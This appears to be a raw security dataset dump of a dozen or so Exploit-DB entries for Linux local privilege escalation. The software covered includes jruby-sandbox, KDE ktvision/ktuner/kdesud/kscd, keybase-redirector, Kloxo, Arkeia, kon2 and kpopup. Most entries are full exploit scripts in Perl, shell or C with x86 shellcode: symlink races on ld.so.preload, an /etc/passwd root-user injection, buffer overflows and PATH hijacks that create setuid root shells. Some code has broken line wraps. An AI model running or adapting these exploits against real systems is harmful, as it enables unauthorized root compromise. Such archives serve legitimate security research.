deardaniel/secdata-raw huggingface dataset:
Exploit-DB #33028
Description: JRuby Sandbox 0.2.2 - Sandbox Escape
Type: local
Platform: linux
Date: 2014-04-25
Author: joernchen

Exploit:
Phenoelit Advisory <wir-haben-auch-mal-was-gefunden #0815 +-+++>

[ Authors ]
        joernchen       <joernchen () phenoelit de>

        Phenoelit Group (http://www.phenoelit.de)

[ Affected Products ]
        jruby-sandbox <= 0.2.2
        https://github.com/omghax/jruby-sandbox

[ Vendor communication ]
        2014-04-22 Send vulnerability details to project maintainer
        2014-04-24 Requesting confirmation that details were received
        2014-04-24 Maintainer states he is working on a test case
        2014-04-24 Maintainer releases fixed version
        2014-04-24 Release of this advisory

[ Description ]
        jruby-sandbox aims to allow safe execution of user given Ruby
        code within a JRuby [0] runtime. However via import of Java 
        classes it is possible to circumvent those protections and 
        execute arbitrary code outside the sandboxed environment.

[ Example ]

require 'sandbox'
sand = Sandbox.safe
sand.activate!

begin
  sand.eval("print `id`")
rescue Exception => e
  puts "fail via Ruby ;)"
end
puts "Now for some Java"

sand.eval("Kernel.send :java_import, 'java.lang.ProcessBuilder'")
sand.eval("Kernel.send :java_import, 'java.util.Scanner'")
sand.eval("s = Java::java.util.Scanner.new( " + 
          "Java::java.lang.ProcessBuilder.new('sh','-c','id')" + 
          ".start.getInputStream  ).useDelimiter(\"\x00\").next")
sand.eval("print s")

[ Solution ]
        Upgrade to version 0.2.3

[ References ]
        [0] http://jruby.org/

[ end of file ]
Exploit-DB #19979
Description: KDE 1.1.2 KApplication configfile - Local Privilege Escalation (1)
Type: local
Platform: linux
Date: 2000-05-31
Author: kil3r

Exploit:
#source: https://www.securityfocus.com/bid/1291/info
#
#The KDE configuration-file management has a bug which could result in root compromise.
#
#Due to insecure creation of configuration (rc) files via KApplication-class, local users can modify ownership of arbitrary files when running setuid root KDE-programs.
#
#Properly exploited, this can permit a local attacker to change ownership of key system files, then write arbitrary data to them, allowing an elevation of privileges.

#!/usr/bin/perl

#
# 7350ktvision! The ktvision-hack. 
#
# Just execute. Gives instant rootshell kiddie!
# If only ktvision is setuid-root and vulnerable as with
# SuSE 6.4!
#
#
# Bugdiscovery is due to Sebastian Krahmer.
# http://www.cs.uni-potsdam.de/homepages/students/linuxer
#
# Greets as always to TESO, security.is, lam3rz ... you all
# know who you are.
#
# Special greets to that beautiful black-dressed woman at
# the bus stop. This one is for you. :)
# 

my $rcfile = $ENV{"HOME"}."/.kde/share/config/ktvisionrc";

$ENV{"PATH"}.=":/opt/kde/bin";

print ">>Get a feeling on GUI's and how secure they are.<< Stealth.\n";

print "Creating hijack-lib ...\n";
open O, ">/tmp/boom.c" or die "open(boom.c..)";
print O<<_EOF_;
#include <sys/types.h>

int time(void *v)
{
	chown("/tmp/boomsh", 0, 0);
	chmod("/tmp/boomsh", 06755);
	unlink("/etc/ld.so.preload");
	exit(1);
}
_EOF_
close O;

print "Compiling hijack-lib ...\n";
`cc -c -fPIC /tmp/boom.c -o /tmp/boom.o`;
`cc -shared /tmp/boom.o -o /tmp/boom.so`;

open O, ">/tmp/boomsh.c" or die "open(boomsh.c ...)";
print O<<_EOF2_;
#include <stdio.h>
int main() 
{
    char *a[] = {"/bin/sh", 0};
    setuid(0); setregid(0, 0);
    execve(a[0], a, 0);
    return 0;
}
_EOF2_
close O;

print "Compile shell ...\n";
`cc /tmp/boomsh.c -o /tmp/boomsh`;

umask 0;

unlink $rcfile;
symlink "/etc/ld.so.preload", $rcfile;

print "Invoking vulnerable program (ktvision)...\n";

if (fork() == 0) {
	`ktvision`;
	exit 0;
} else {
	sleep(3);
	kill 9, `pidof ktvision`;
}

open O, ">/etc/ld.so.preload" or die "Huh? Can't open preload.";
print O "/tmp/boom.so";
close O;
`/usr/bin/passwd`;

# let it look like if we have sth. to do. :)
sleep 3;
print "Welcome. But as always: BEHAVE!\n";
system("/tmp/boomsh");
Exploit-DB #19980
Description: KDE 1.1.2 KApplication configfile - Local Privilege Escalation (2)
Type: local
Platform: linux
Date: 2000-05-31
Author: kil3r

Exploit:
#source: https://www.securityfocus.com/bid/1291/info
# 
#The KDE configuration-file management has a bug which could result in root compromise.
# 
#Due to insecure creation of configuration (rc) files via KApplication-class, local users can modify ownership of arbitrary files when running setuid root KDE-programs.
# 
#Properly exploited, this can permit a local attacker to change ownership of key system files, then write arbitrary data to them, allowing an elevation of privileges.

#!/usr/bin/perl

#
# 7350ktuner! The ktuner-hack. 
# (a.k.a. kil3r for some reason :)
#
# Just execute. Gives instant rootshell kiddie!
# If only ktuner is setuid-root and vulnerable as with
# SuSE 6.4!
#
# When has this stupid race an end?
#
# Bugdiscovery is due to Sebastian Krahmer.
# http://www.cs.uni-potsdam.de/homepages/students/linuxer
#
#
# Greets as always to TESO, security.is, lam3rz ... you all
# know who you are.
#
# 

my $rcfile = $ENV{"HOME"}."/.kde/share/config/ktunerrc";

$ENV{"PATH"}.=":/opt/kde/bin";

print ">>Get a feeling on GUI's and how secure they are.<< Stealth.\n";

print "Creating hijack-lib ...\n";
open O, ">/tmp/boom.c" or die "open(boom.c..)";
print O<<_EOF_;
#include <sys/types.h>

int time(void *v)
{
	chown("/tmp/boomsh", 0, 0);
	chmod("/tmp/boomsh", 06755);
	unlink("/etc/ld.so.preload");
	exit(1);
}
_EOF_
close O;

print "Compiling hijack-lib ...\n";
`cc -c -fPIC /tmp/boom.c -o /tmp/boom.o`;
`cc -shared /tmp/boom.o -o /tmp/boom.so`;

open O, ">/tmp/boomsh.c" or die "open(boomsh.c ...)";
print O<<_EOF2_;
#include <stdio.h>
int main() 
{
    char *a[] = {"/bin/sh", 0};
    setuid(0); setregid(0, 0);
    execve(a[0], a, 0);
    return 0;
}
_EOF2_
close O;

print "Compile shell ...\n";
`cc /tmp/boomsh.c -o /tmp/boomsh`;

umask 0;

unlink $rcfile;
symlink "/etc/ld.so.preload", $rcfile;

print "Invoking vulnerable program (ktuner)...\n";

if (fork() == 0) {
	`ktuner`;
	exit 0;
} else {
	sleep(3);
	kill 9, `pidof ktuner`;
}

open O, ">/etc/ld.so.preload" or die "Huh? Can't open preload.";
print O "/tmp/boom.so";
close O;
`/usr/bin/passwd`;

# let it look like if we have sth. to do. :)
sleep 3;
print "Welcome. But as always: BEHAVE!\n";
system("/tmp/boomsh");
Exploit-DB #19981
Description: KDE 1.1.2 KApplication configfile - Local Privilege Escalation (3)
Type: local
Platform: linux
Date: 2000-05-31
Author: IhaQueR

Exploit:
#source: https://www.securityfocus.com/bid/1291/info
#  
#The KDE configuration-file management has a bug which could result in root compromise.
#  
#Due to insecure creation of configuration (rc) files via KApplication-class, local users can modify ownership of arbitrary files when running setuid root KDE-programs.
#  
#Properly exploited, this can permit a local attacker to change ownership of key system files, then write arbitrary data to them, allowing an elevation of privileges.


#!/bin/bash

link=/home/paul/.kde/share/config
linkto=/etc/passwd
target=/opt/kde/bin/ktvision

echo ""
echo "KTVision <= 0.1.1-271 local r00t exploit by IhaQueR"
echo ""

if ! test -u $target ; then
        echo "[-] $target not found"
        exit 1
fi;

echo "[+] $target found"

rm -f sush*
cat <<__DUPA__>>sush.c
#include <stdio.h>
main()
{
        setuid(geteuid());
        setgid(getegid());
        execl("/bin/bash", "/bin/bash", NULL);
}
__DUPA__

echo "    compiling sush"
res=$(gcc sush.c -o sush)

if test "$res" != "" -o ! -x sush ; then
        echo "[-] failed"
        rm sush* ktvback.*
        exit 2;
fi;

echo "[+] success"

cp $linkto ktvback.$$
mkdir -p $link
rm -f $link/ktvisionrc
ln -s $linkto $link/ktvisionrc

echo ""
echo -n "now running... (ensure that X is up and running)"

$target >/dev/null 2>&1 &
cpid=$!

declare -i cnt
declare -i max
cnt=0
max=60

while ! test -O $linkto ; do
        sleep 1;
        printf "  %.2d" $cnt
        cnt=$(($cnt+1))
        if test $cnt -ge $max ; then
                echo ""
                echo ""
                echo "[-] FAILED"
                rm sush* ktvback.*
                exit 2;
        fi;
done;

kill -9 $cpid >/dev/null 2>&1
rm $link/ktvisionrc

echo ""
echo ""
echo "[+] SUCCESS, creating sush"
echo >>$linkto "r00t::0:0:root:/root:/bin/bash"
echo ""
su r00t -c "chown 0.0 sush; chmod u+s sush; chmod g+s sush; cp
ktvback.$$ $linkto; chown 0.0 $linkto"
rm ktvback.* sush.c

if ! test -u sush ; then
        echo "    hm strange error"
        rm sush* ktvback.*
        exit 1
fi;

echo ""
echo "starting ./sush"
./sush

#!plonk
Exploit-DB #19970
Description: KDE 1.1/1.1.1/1.1.2/1.2 - kdesud DISPLAY Environment Variable Overflow
Type: local
Platform: linux
Date: 2000-05-27
Author: noir

Exploit:
// source: https://www.securityfocus.com/bid/1274/info

/usr/bin/kdesud has a DISPLAY environment variable overflow which could allow for the execution of arbitrary code. 

/*  KDE: /usr/bin/kdesud exploit by noir
 *  x86/Linux
 *  noir@gsu.linux.org.tr | noir@olympos.org
 *  DISPLAY env overflow 
 *  this script will get you gid = 0 !!  
 *  tested on Mandrake 7.0 (Air), for other distros play with argv1 for eip  
 *  greetz: dustdevil, Cronos, moog, still, #olympos irc.sourtimes.org 
 *      
 */

#include <stdio.h>
#include <string.h>

#define NOP             0x90
#define ALIGN   2
#define RET     0xbffff664  // Mandrake 7.0 (x86) 
                            
int 
main(int argc, char *argv[])
{
        unsigned char shell[] =
        "\x31\xc0\x89\xc3\x89\xc1\xb0\x47\xcd\x80" /* setregid(0, 0) */
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 

        char buf[400];
        int i, a;
        long ret = RET;

     if(argv[1])
        ret = ret - atoi(argv[1]);               
  
        memset(buf, NOP, 400);
    
        for(i = ALIGN  ; i < 160 + ALIGN; i+=4)
                *(long *) &buf[i] = ret;
    
        for( i = 300, a = 0; a < strlen(shell) ; i++, a++ )
        buf[i] = shell[a];
        
        buf[399] = 0x00;
        printf("eip: 0x%x\n", ret);

        setenv("DISPLAY", buf, 1);
        execl("/usr/bin/kdesud", "kdesud",  0);

}
Exploit-DB #19915
Description: KDE 1.1/1.1.1/1.2/2.0 kscd - SHELL Environmental Variable
Type: local
Platform: linux
Date: 2000-05-16
Author: Sebastian

Exploit:
source: https://www.securityfocus.com/bid/1206/info

Some linux distributions (S.u.S.E. 6.4 reported) ship with kscd (a CD player for the KDE Desktop) sgid disk. kscd uses the contents of the 'SHELL' environment variable to execute a browser. This makes it possible to obtain a sgid 'disk' shell. Using these privileges along with code provided in the exploit, it is possible to change attributes on raw disks. This in turns allows an attacker to create a root shell, thus compromising the intergrity of the machine. 

Red Hat, Linux Mandrake, and Turbo Linux do not currently ship with kscd setgid 'disk'.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19915.tgz
Exploit-DB #46044
Description: Keybase keybase-redirector - '$PATH' Local Privilege Escalation
Type: local
Platform: linux
Date: 2018-10-22
Author: mirchr

Exploit:
keybase-redirector is a setuid root binary. keybase-redirector calls the fusermount binary using a relative path and the application trusts the value of $PATH. This allows a local, unprivileged user to trick the application to executing a custom fusermount binary as root.

## Environment

CentOS Linux release 7.4.1708 (Core)
3.10.0-693.17.1.el7.x86_64

RPM info

```
Name        : keybase
Version     : 2.8.0[PII_REDACTED]4746.3efc4cbf3c
Release     : 1
Architecture: x86_64
Install Date: Mon 22 Oct 2018 05:30:36 PM EDT
Group       : Unspecified
Size        : 273302678
License     : BSD
Signature   : RSA/SHA256, Wed 17 Oct 2018 10:55:21 AM EDT, Key ID 47484e50656d16c7
Source RPM  : keybase-2.8.0[PII_REDACTED]4746.3efc4cbf3c-1.src.rpm
Build Date  : Wed 17 Oct 2018 10:54:47 AM EDT
Build Host  : 6ae61e160e87
Relocations : (not relocatable)
Summary     : Keybase command line client
Description :
Keybase command line client
```

An unprivileged user named user1 is used for this PoC.

## Steps to reproduce

1) Display privileges of user 1 - execute the id command

```
[user1@localhost woot]$ id
uid=1000(user1) gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
```

2) Create a custom fusermount application. This PoC will create /w00t as root. Arbitrary commands can be executed.

```
cat >fusermount.c<<EOF
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(int argc, char **argv)
{
  setreuid(0,0);
  system("/usr/bin/touch /w00t");
  return(0);
}
EOF
``

3) Compile fusermount.c

```
gcc -Wall fusermount.c -o fusermount
```

4) Verify that /w00t does not exist.

```
[user1@localhost woot]$ ls -ld /w00t
ls: cannot access /w00t: No such file or directory
```

5) Prepend the PATH environment variable with a dot(for current working directory) and execute keybase-redirector which in turn will execute the malicious fusermount binary as root.

```
env PATH=.:$PATH /usr/bin/keybase-redirector /keybase
```

6) Enter the control-c sequence to kill the application.

```
[user1@localhost woot]$ env PATH=.:$PATH /usr/bin/keybase-redirector /keybase
^C
```

7) Verify that /w00t exists

```
[user1@localhost woot]$ ls -ld /w00t
-rw-rw-r--. 1 root user1 0 Oct 22 16:34 /w00t
[user1@localhost woot]$
```

## Impact

Unauthorized root access is possible which impacts the confidentially, integrity, and availability of the system.
Exploit-DB #25406
Description: Kloxo 6.1.6 - Local Privilege Escalation
Type: local
Platform: linux
Date: 2013-05-13
Author: HTP

Exploit:
#!/bin/sh
# Exploit Title: Kloxo Local Privilege Escalation
# Google Dork: inurl:kiddies
# Date: August 2012 or so
# Exploit Author: HTP
# Vendor Homepage: http://lxcenter.org/
# Software Link: [download link if available]
# Version: 6.1.6 (Latest)
# Tested on: CentOS 5
# CVE : None
# This exploit requires you to be the Apache user, or another capable of running lxsuexec.
LXLABS=`cat /etc/passwd | grep lxlabs | cut -d: -f3`
export MUID=$LXLABS
export GID=$LXLABS
export TARGET=/bin/sh
export CHECK_GID=0
export NON_RESIDENT=1
echo "unset HISTFILE HISTSAVE PROMPT_COMMAND TMOUT" >> /tmp/w00trc
echo "/usr/sbin/lxrestart '../../../bin/bash --init-file /tmp/w00trc #' " > /tmp/lol
lxsuexec /tmp/lol
Exploit-DB #19511
Description: Knox Arkeia 4.0 Backup - Local Overflow
Type: local
Platform: linux
Date: 1999-09-26
Author: Brock Tellier

Exploit:
/*
source: https://www.securityfocus.com/bid/661/info

Knox Software Arkeia 4.0 Backup rnavc & nlserverd HOME Environment Variable Buffer Overflow

A local buffer overflow in the handling of the HOME environment variable by the rlserver and rnavc binaries that are part of the Knox Software Arkiea backup application allow local users to obtain root access.
*/


/*
 * nlservd/rnavc local root exploit for Linux x86 tested on SuSE 6.2
 * exploits Arkiea's Knox backup package.
 * gcc -o knox knox.c
 * ./knox <offset> <buflen>
 *
 *
 * NOTE: you *MUST* have void main(){setuid(geteuid());
system("/bin/bash");}
 *       compiled in /tmp/ui for this to work.
 *
 * To exploit rnavc, simply change the execl call to
("/usr/bin/knox/rnavc",
 *                                                  "rnavc", NULL)
 * -Brock Tellier btellier@webley.com
 */


#include <stdlib.h>
#include <stdio.h>

char exec[]= /* Generic Linux x86 running our /tmp program */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/tmp/ui";



#define LEN 2000
#define NOP 0x90

unsigned long get_sp(void) {

__asm__("movl %esp, %eax");

}


void main(int argc, char *argv[]) {

int offset=0;
int i;
int buflen = LEN;
long int addr;
char buf[LEN];

 if(argc > 3) {
  fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
 exit(0);
 }
 else if (argc == 2){
   offset=atoi(argv[1]);

 }
 else if (argc == 3) {
   offset=atoi(argv[1]);
   buflen=atoi(argv[2]);

 }
 else {
   offset=2800;
   buflen=1200;

 }


addr=get_sp();

fprintf(stderr, "Arkiea Knox backup package exploit\n");
fprintf(stderr, "For nlservd and rnavc\n");
fprintf(stderr, "Brock Tellier btellier@webley.com\n");
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);

memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),exec,strlen(exec));
for(i=((buflen/2) + strlen(exec))+3;i<buflen-4;i+=4)
 *(int *)&buf[i]=addr+offset;

setenv("HOME", buf, 1);
execl("/usr/knox/bin/nlservd", "nlservd", NULL);


}
Exploit-DB #22719
Description: kon2 - Local Buffer Overflow (1)
Type: local
Platform: linux
Date: 2003-06-03
Author: wsxz

Exploit:
source: https://www.securityfocus.com/bid/7790/info

A buffer overflow vulnerability has been reported for the kon2 utility shipped with various Linux distributions. Exploitation of this vulnerability may result in a local attacker obtaining elevated privileges on a vulnerable system.

The vulnerability exists due to insufficient bounds checking performed on some commandline options passed to the vulnerable utility.

#!/usr/bin/perl
####################################################################################
#Priv8security.com kon2 version 0.3.9b-16 and < local root exploit.
#
#    Tested on Redhat 8.0. should work on 9.0 and 7.3
#    Bug happens on -Coding arg.
#    Based on Redhat Advisory.
#
#    [wsxz@localhost buffer]$ perl priv8kon.pl
#    -=[ Priv8security.com kon local root exploit ]=-
#    usage: priv8kon.pl offset
#    [+] Using ret shellcode 0xbfffffc6
#    Kanji ON Console ver.0.3.9 (2000/04/09)
#
#    KON> video type 'VGA' selected
#    KON> hardware scroll mode.
#    sh-2.05b# id
#    uid=0(root) gid=0(root) groups=500(wsxz)
####################################################################################


$shellcode =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80".#setuid 0
"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80".#setgid 0
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69".
"\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";

$path = "/usr/bin/kon";
$ret = 0xbffffffa - length($shellcode) - length($path);

$offset = $ARGV[0];

print "-=[ Priv8security.com kon2 local root exploit ]=-\n";
print "usage: $0 offset\n";
printf("[+] Using ret shellcode 0x%x\n",$ret + $offset);

$new_retword = pack('l', ($ret + $offset));
$buffer2 = "A" x 796;
$buffer2 .= $new_retword;
$buffer = $shellcode;
local($ENV{'WSXZ'}) = $buffer;
exec("$path -Coding $buffer2");
Exploit-DB #22720
Description: kon2 - Local Buffer Overflow (2)
Type: local
Platform: linux
Date: 2003-06-03
Author: c0ntex

Exploit:
// source: https://www.securityfocus.com/bid/7790/info
 
A buffer overflow vulnerability has been reported for the kon2 utility shipped with various Linux distributions. Exploitation of this vulnerability may result in a local attacker obtaining elevated privileges on a vulnerable system.
 
The vulnerability exists due to insufficient bounds checking performed on some commandline options passed to the vulnerable utility.

/*
 * Buffer overflow in /usr/bin/kon v0.3.9b for RedHat 9.0
 *
 * http://www.mail-archive.com/bugtraq@securityfocus.com/msg11681.html
 *
 * The original bug was found by wszx for RedHat 8.0 - Ported to C
 *
 * Compile: gcc -Wall kon2root kon2root.c
 *
 */


#include <stdio.h>
#include <string.h>
#include <unistd.h>


#define NOP      0x90
#define RET      0xbffffffa
#define VULN     "/usr/bin/kon"
#define MAXBUF   800


static char w00tI4r3l33t[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07
\x89"
                           "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56
\x0c"
                           "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8
\xdc\xff"
                           "\xff\xff/bin/id";


int main()
{
        int i, *egg;
        long retaddr;
        static char buff[MAXBUF];
        static char *sploit[0x02] = { w00tI4r3l33t, NULL };


        fprintf (stdout, "\n\n\n[ PoC code for local root exploit in %s ]
\n", VULN);
        fprintf (stdout, "[ Coded by c0ntex  -  http://62.31.72.168 ]\n");
        fprintf (stdout, "[ For Linux RedHat v9 x86  -  Ret_Addr
0xbffffffa ]\n\n\n\n");

        if((retaddr = 0xbffffffa - strlen(w00tI4r3l33t) - strlen(VULN)) !
= 0x00) {
                egg = (int *)(buff);
        }

        for(i = 0x00; i < MAXBUF; i += 0x04)
        *(egg)++ = retaddr; *(egg) = NOP;

        execle(VULN, VULN, "-Coding", buff, NULL, sploit);

        return(0x00);
}
Exploit-DB #23308
Description: kpopup 0.9.x - Privileged Command Execution
Type: local
Platform: linux
Date: 2003-10-28
Author: b0f

Exploit:
// source: https://www.securityfocus.com/bid/8915/info

It has been alleged that it is possible for local attackers to gain root privileges through kpopup, which is is installed setuid root by default. According to the report, kpopup uses the system(3) C-library function insecurely to run other utilities on the system. In at least one instance, system(3) is called to invoke the binary killall(1) in a manner relying on the PATH environment variable. As the environment can be set by the unprivileged user when kpopup is executed, an arbitrary executable with the filename killall(1) can be executed. Many modern shells anticipate insecure use of this function by setuid/setgid processes and drop effective privileges if they do not match the real userid/gid of the process. It may be the case that kpopup first sets its real uid and gid to 0 before calling system, making this vulnerability exploitable. This has not been confirmed by Symantec. 

/*Local root exploit for kpopup
 *by b0f www.b0f.net
 */
#include <stdio.h>
int main()
{
setenv("PATH=/tmp:/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:\
/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin:");
FILE *fd;
fd = fopen("/tmp/killall", "w");{
fprintf(fd, "#!/bin/sh\n");
fprintf(fd, "cd /tmp\n");
fprintf(fd, "/bin/cat > shell.c << EOF\n");
fprintf(fd, "#include <stdio.h>\n");
fprintf(fd, "int main()\n");
fprintf(fd, "{\n");
fprintf(fd, "setuid(0);\n");
fprintf(fd, "setgid(0);\n");
fprintf(fd, "execl(\"/bin/bash\", \"-bash\", NULL);\n");
fprintf(fd, "return 0;\n");
fprintf(fd, "}\n");
fprintf(fd, "EOF\n");
fprintf(fd, "/usr/bin/gcc /tmp/shell.c -o /tmp/shell\n");
fprintf(fd, "/bin/chown root.root /tmp/shell\n");
fprintf(fd, "/bin/chmod 6711 /tmp/shell\n");
fprintf(fd, "echo NOW HERE IS YOUR ROOT SHELL\n");
fprintf(fd, "/tmp/shell\n");
fclose(fd);
system("chmod +x /tmp/killall");
system("/usr/local/kde/bin/kpopup root shell");
return 0;
}
}